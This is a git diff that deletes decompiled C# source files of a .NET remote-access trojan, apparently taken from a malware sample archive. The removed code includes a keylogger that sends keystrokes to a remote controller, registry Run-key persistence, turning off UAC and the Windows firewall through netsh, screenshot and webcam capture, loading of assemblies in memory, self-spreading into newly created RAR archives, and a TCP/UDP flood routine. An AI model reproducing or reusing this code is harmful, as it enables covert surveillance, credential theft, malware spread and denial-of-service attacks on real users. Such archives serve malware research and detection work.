ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - string str1 = "FT"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - if (Operators.CompareString(NK.GetValue(ref local1, ref local2), "", false) == 0) - { - B.FT = true; - string str3 = "FT"; - ref string local3 = ref str3; - string str4 = "&"; - ref string local4 = ref str4; - NK.SetValue(ref local3, ref local4); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 4; - if (B.UU) - this.BW.B.RunWorkerAsync(); - new Thread(new ThreadStart(B.E)).Start(); - try - { - MyProject.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", (object) 0, RegistryValueKind.DWord); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new Thread(new ThreadStart(B.Key.Start)).Start(); - this.con(); - this.wL.Interval = 1000; - this.wL.Enabled = true; - } - - public void wL_() - { - this.wL.Enabled = false; - try - { - checked { ++this.cc; } - checked { ++this.c0; } - if (this.c2 < 5) - checked { ++this.c2; } - if (this.c2 == 5) - { - try - { - Process[] processesByName1 = Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName); - int index1 = 0; - while (index1 < processesByName1.Length) - { - Process process1 = processesByName1[index1]; - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - Process[] processesByName2 = Process.GetProcessesByName("wscript"); - int index2 = 0; - while (index2 < processesByName2.Length) - { - Process process2 = processesByName2[index2]; - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - if (B.Cht.Length > 0) - { - B.Chat = new chat(); - chat.clos = false; - B.Chat.nick = B.Cht; - B.Chat.Show(); - B.Cht = ""; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Cht = ""; - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(B.SU, "*", false) != 0) - { - if (this.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 0; - } - } - if (!B.Connecting) - { - try - { - if (this.WC.Connected()) - { - if (B.ISEND) - { - checked { ++this.c3; } - string T; - if (B.FT & !B.isFT) - { - B.isFT = true; - T = "#blue"; - this.SEND(ref T); - } - if (this.c3 > 2) - { - this.c3 = 0; - bool p = false; - string str = API.A1(ref p); - if (Operators.CompareString(this.LA, str, false) != 0) - { - if (Operators.CompareString(str, "", false) != 0) - { - this.LA = str; - T = "#3" + IND.Y + this.LA; - this.SEND(ref T); - } - } - } - } - } - else - { - this.Dis(); - this.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Dis(); - this.con(); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.wL.Enabled = true; - } - - public void con() - { - B.Connecting = true; - try - { - this.CL(); - B.DS = false; - if (!B.netsh) - { - B.netsh = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.WC = new SocketsClient(); - this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(1500); - B.Connecting = false; - } - - public void Dis() - { - try - { - this.CL(); - B.DS = true; - B.ISEND = false; - this.WC.Disconnect(); - this.WC = (SocketsClient) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void SEND(ref string T) - { - try - { - this.WC.SendData(this.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void W0() - { - try - { - string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - checked { ++num; } - } - while (num <= 5); - string T = "#2" + IND.Y + str + IND.Y + B.Vname + "_" + sc.HWD(); - this.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - B.ISEND = true; - this.CL(); - B.DS = false; - } - - public void W1(string T) => this.CL(); - - public void W2() - { - this.CL(); - B.DS = true; - B.ISEND = false; - } - - public void W3(byte[] Data, int totBytes) => this.WC.AT(Data); - - private void fs_Created(object sender, FileSystemEventArgs e) - { - try - { - if (!e.FullPath.ToLower().EndsWith(".rar")) - return; - if (!File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui)) - { - try - { - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath)) - { - File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui); - File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - string[] block = B.Block; - int index1 = 0; - while (index1 < block.Length) - { - string Right = block[index1]; - if (Operators.CompareString(e.FullPath, Right, false) == 0) - return; - checked { ++index1; } - } - B.Block[B.inx] = e.FullPath; - checked { ++B.inx; } - int num1 = 0; - do - { - Thread.Sleep(4000); - if (File.Exists(e.FullPath)) - { - byte[] numArray1 = File.ReadAllBytes(e.FullPath); - byte[] numArray2 = new byte[6] - { - (byte) 61, - (byte) 123, - (byte) 0, - (byte) 64, - (byte) 7, - (byte) 0 - }; - int num2 = checked (numArray2.Length - 1); - int index2 = 0; - while (true) - { - if (index2 <= num2) - { - if ((int) numArray1[checked (numArray1.Length - numArray2.Length + index2)] == (int) numArray2[index2]) - { - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "winrar", - Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - checked { ++index2; } - } - else - break; - } - else - goto label_4; - } - checked { ++num1; } - } - else - goto label_6; - } - while (num1 != 10); - goto label_21; -label_6: - return; -label_21: - return; -label_4:; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - checked { ++B.err; } - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - - public class Key - { - private static Clock Clock = new Clock(); - private static Keyboard K = new Keyboard(); - - public static void Start() - { - try - { -label_8: - if (false) - return; - Thread.Sleep(10); - int i = 8; - do - { - if (B.Key.GetAsyncKeyState(i) == (short) -32767) - { - string Right = B.Key.w(); - if ((object) Right != (object) "" & (object) Right != (object) " " & Right != null & Right.Length > 0) - { - string Left; - if (Operators.CompareString(Left, Right, false) == 0) - { - string N = B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - else - { - Left = Right; - string N = B.Key.HM() + Left + "\r\n\r\n" + B.Key.KK(ref i); - B.Key.Wrt(ref N); - } - } - } - checked { ++i; } - } - while (i <= (int) byte.MaxValue); - goto label_8; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] "; - - public static void Wrt(ref string N) - { - if (B.KON) - { - try - { - B b = MyProject.Forms.B; - string str = "X" + IND.Y + N; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.KON = false; - ProjectData.ClearProjectError(); - } - } - string str1 = "lg"; - ref string local1 = ref str1; - string str2 = ""; - ref string local2 = ref str2; - string str3 = NK.GetValue(ref local1, ref local2); - if (str3.Length > 1024000) - str3 = ""; - string str4 = "lg"; - ref string local3 = ref str4; - string str5 = str3 + N; - ref string local4 = ref str5; - NK.SetValue(ref local3, ref local4); - } - - public static string KK(ref int i) - { - string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\""; - string str = ")!@#$%^&*("; - switch (i) - { - case 8: - return "{BACKSPACE}"; - case 9: - return "{TAP}"; - case 12: - return "\r\n"; - case 13: - return "\r\n"; - case 27: - return "{ESC}"; - case 32: - return " "; - case 37: - return "{LEFT}"; - case 38: - return "{UP}"; - case 39: - return "{RIGHT}"; - case 40: - return "{DOWN}"; - case 46: - return "{DEL}"; - case 162: - return "{CTRL}"; - case 163: - return "{CTRL}"; - case 164: - return "{ALT}"; - case 165: - return "{ALT}"; - case 186: - return B.Key.u() ? ":" : ";"; - case 187: - return B.Key.u() ? "+" : "="; - case 188: - return B.Key.u() ? "<" : ","; - case 189: - return B.Key.u() ? "_" : "-"; - case 190: - return B.Key.u() ? ">" : "."; - case 191: - return B.Key.u() ? "?" : "/"; - case 192: - return B.Key.u() ? "~" : "`"; - case 219: - return B.Key.u() ? "{" : "["; - case 220: - return B.Key.u() ? "|" : "\\"; - case 221: - return B.Key.u() ? "}" : "]"; - case 222: - return B.Key.u() ? "\"" : "'"; - case 226: - return B.Key.u() ? "|" : "\\"; - default: - if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0) - return ""; - if (!B.Key.u()) - return Strings.ChrW(i).ToString().ToLower(); - try - { - int index = 0; - while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index) - { - checked { ++index; } - if (index > 9) - goto label_59; - } - return Conversions.ToString(str[index]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_59: - return Strings.ChrW(i).ToString().ToUpper(); - } - } - - public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string w() - { - string str; - try - { - IntPtr foregroundWindow = B.Key.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str = " "; - } - else - { - int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow); - string WinTitle = Strings.StrDup(checked (windowTextLength + 1), "*"); - B.Key.GetWindowText(foregroundWindow, ref WinTitle, checked (windowTextLength + 1)); - int lpdwProcessID; - B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str = WinTitle; - } - else - { - try - { - str = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = WinTitle; - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = " "; - ProjectData.ClearProjectError(); - } - return str; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/C.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/C.cs deleted file mode 100644 index 9d09254e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/C.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.C -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace n -{ - public class C - { - public static byte[] Plug; - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); - - public static byte[] Capture1(ref int q, ref int HWD) - { - if (HWD == 0) - HWD = API.GetForegroundWindow().ToInt32(); - if (HWD == 0) - return new MemoryStream(sc.gc(ref q)).ToArray(); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect((IntPtr) HWD, ref lpRect); - int height = checked (lpRect.bottom - lpRect.top); - if (height < 0) - height = 1; - int width = checked (lpRect.right - lpRect.left); - if (width < 0) - width = 1; - Bitmap bitmap = new Bitmap(width, height); - Graphics graphics = Graphics.FromImage((Image) bitmap); - IntPtr hdc = graphics.GetHdc(); - C.PrintWindow((IntPtr) HWD, hdc, 0U); - graphics.ReleaseHdc(hdc); - graphics.Dispose(); - int num; - switch (q) - { - case 0: - num = 80; - break; - case 1: - num = 70; - break; - case 2: - num = 65; - break; - case 3: - num = 50; - break; - case 4: - num = 45; - break; - case 5: - num = 40; - break; - case 6: - num = 35; - break; - case 7: - num = 30; - break; - case 8: - num = 25; - break; - case 9: - num = 20; - break; - case 10: - num = 10; - break; - } - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - MemoryStream memoryStream = new MemoryStream(); - IntPtr callbackData; - bitmap.GetThumbnailImage(checked ((int) Math.Round(unchecked ((double) width / 1.4))), checked ((int) Math.Round(unchecked ((double) height / 1.4))), (Image.GetThumbnailImageAbort) null, callbackData).Save((Stream) memoryStream, encoderInfo, encoderParams); - bitmap.Dispose(); - return memoryStream.ToArray(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect); - - public struct RECT - { - public int left; - public int top; - public int right; - public int bottom; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Cam.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Cam.cs deleted file mode 100644 index ef56651d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Cam.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Cam -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DirectX.Capture; -using Microsoft.VisualBasic; -using System; -using System.Drawing; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class Cam - { - private ComboBox Divs; - private ComboBox Comp; - private ListBox lboxDriver; - private Cam.Active CaptureInformation; - private Filters Dispositivos; - private PictureBox p; - - public Cam() - { - this.Divs = new ComboBox(); - this.Comp = new ComboBox(); - this.lboxDriver = new ListBox(); - this.Dispositivos = new Filters(); - } - - public void dispose() - { - this.CaptureInformation.CaptureInfo.DisposeCapture(); - this.CaptureInformation.CaptureInfo.Dispose(); - } - - public Image cap(ref int i) - { - this.CaptureInformation.Camera = this.Dispositivos.VideoInputDevices[i]; - this.CaptureInformation.CaptureInfo = new DirectX.Capture.Capture(this.CaptureInformation.Camera, (DirectX.Capture.Filter) null); - this.CaptureInformation.CaptureInfo.FrameCaptureComplete += new DirectX.Capture.Capture.FrameCapHandler(this.RefreshImage); - this.CaptureInformation.Counter = 1; - this.CaptureInformation.CounterFrames = 1; - this.CaptureInformation.CaptureInfo.Stop(); - this.CaptureInformation.CaptureInfo.VideoCompressor = this.Dispositivos.VideoCompressors[0]; - string[] strArray = "160x120".Split('x'); - this.CaptureInformation.CaptureInfo.FrameSize = new Size(checked ((int) Math.Round(Conversion.Val(strArray[0]))), checked ((int) Math.Round(Conversion.Val(strArray[1])))); - this.CaptureInformation.CaptureInfo.FrameRate = Conversion.Val((object) 5); - this.CaptureInformation.CaptureInfo.PreviewWindow = (Control) new Panel(); - this.CaptureInformation.CaptureInfo.CaptureFrame(); - int num; - do - { - Thread.Sleep(1); - Application.DoEvents(); - if (this.p != null) - { - Image image = (Image) this.p.Image.Clone(); - this.p.Dispose(); - return image; - } - checked { ++num; } - } - while (num != 5000); - return (Image) null; - } - - public void RefreshImage(PictureBox Frame) => this.p = Frame; - - public string Dnames() - { - this.Divs.Items.Clear(); - short num1 = checked ((short) (this.Dispositivos.VideoInputDevices.Count - 1)); - short index1 = 0; - while ((int) index1 <= (int) num1) - { - this.Divs.Items.Add((object) this.Dispositivos.VideoInputDevices[(int) index1].Name); - checked { ++index1; } - } - int num2 = checked (this.Divs.Items.Count - 1); - int index2 = 0; - string str; - while (index2 <= num2) - { - str += this.Divs.Items[index2].ToString(); - if (index2 != checked (this.Divs.Items.Count - 1)) - str += "^:^"; - checked { ++index2; } - } - return str; - } - - public struct Active - { - public DirectX.Capture.Filter Camera; - public DirectX.Capture.Capture CaptureInfo; - public int Counter; - public int CounterFrames; - public string PathVideo; - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Delegates/T/T.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Delegates/T/T.cs deleted file mode 100644 index 9c0813f1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Delegates/T/T.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Delegates.T.T -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace n.Delegates.T -{ - [StandardModule] - public sealed class T - { - public static void appendText(ref Form Frm, ref byte[] D) - { - if (Frm == null || Frm.IsDisposed) - return; - if (Frm.InvokeRequired) - { - n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText); - Frm.Invoke((Delegate) method, (object) Frm, (object) D); - } - else - IND.ind(D); - } - - private delegate void DELappendText(ref Form Frm, ref byte[] D); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/FLD.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/FLD.cs deleted file mode 100644 index c0826bd3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/FLD.cs +++ /dev/null @@ -1,126 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.FLD -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Net.Sockets; -using System.Threading; - -namespace n -{ - public class FLD - { - public byte[] pk; - public string HOST; - public int Port; - public int Count; - private int ALV; - - public FLD() - { - this.pk = new byte[1]; - this.ALV = 0; - } - - public void Start(ref bool TCP) - { - try - { - Thread[] threadArray = new Thread[checked (this.Count + 1)]; - int num1; - do - { - Thread.Sleep(1); - int num2 = checked (threadArray.Length - 1); - int index = 0; - while (index <= num2) - { - if (threadArray[index] == null & this.ALV < 100) - { - threadArray[index] = !TCP ? new Thread(new ThreadStart(this.UDP), 1024) : new Thread(new ThreadStart(this.TCP), 1024); - threadArray[index].Start(); - } - else - checked { ++num1; } - checked { ++index; } - } - } - while (num1 != threadArray.Length); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void UDP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - UdpClient udpClient = new UdpClient(); - udpClient.Client.Connect(this.HOST, this.Port); - udpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - UdpClient udpClient1 = new UdpClient(); - try - { - udpClient1.Connect(this.HOST, this.Port); - udpClient1.Client.SendTimeout = -1; - udpClient1.Client.ReceiveTimeout = -1; - udpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - - public void TCP() - { - byte[] numArray = new byte[0]; - byte[] pk = this.pk; - try - { - TcpClient tcpClient = new TcpClient(); - tcpClient.Client.Connect(this.HOST, this.Port); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - goto label_6; - } - TcpClient tcpClient1 = new TcpClient(); - try - { - tcpClient1.Connect(this.HOST, this.Port); - tcpClient1.Client.SendTimeout = -1; - tcpClient1.Client.ReceiveTimeout = -1; - tcpClient1.Client.Send(pk, pk.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_6: - checked { this.ALV += -1; } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/IND.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/IND.cs deleted file mode 100644 index c2b357b1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/IND.cs +++ /dev/null @@ -1,2602 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.IND -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class IND - { - public static string TM = Interaction.Environ("temp") + "\\"; - public static string Y = "^:^"; - public static int LPING; - public static chat Ca = new chat(); - public static bool bz = false; - private const int MOUSEEVENTF_ABSOLUTE = 32768; - private const int MOUSEEVENTF_LEFTDOWN = 2; - private const int MOUSEEVENTF_LEFTUP = 4; - private const int MOUSEEVENTF_MOVE = 1; - private const int MOUSEEVENTF_MIDDLEDOWN = 32; - private const int MOUSEEVENTF_MIDDLEUP = 64; - private const int MOUSEEVENTF_RIGHTDOWN = 8; - private const int MOUSEEVENTF_RIGHTUP = 16; - - public static void inddd(string T) - { - RichTextBox t1 = B.Chat.T1; - t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n"; - } - - public static RegistryKey Rk(ref string p, ref bool W) - { - Array Instance = (Array) Strings.Split(p, "\\"); - object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null); - RegistryKey registryKey; - if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false)) - registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if 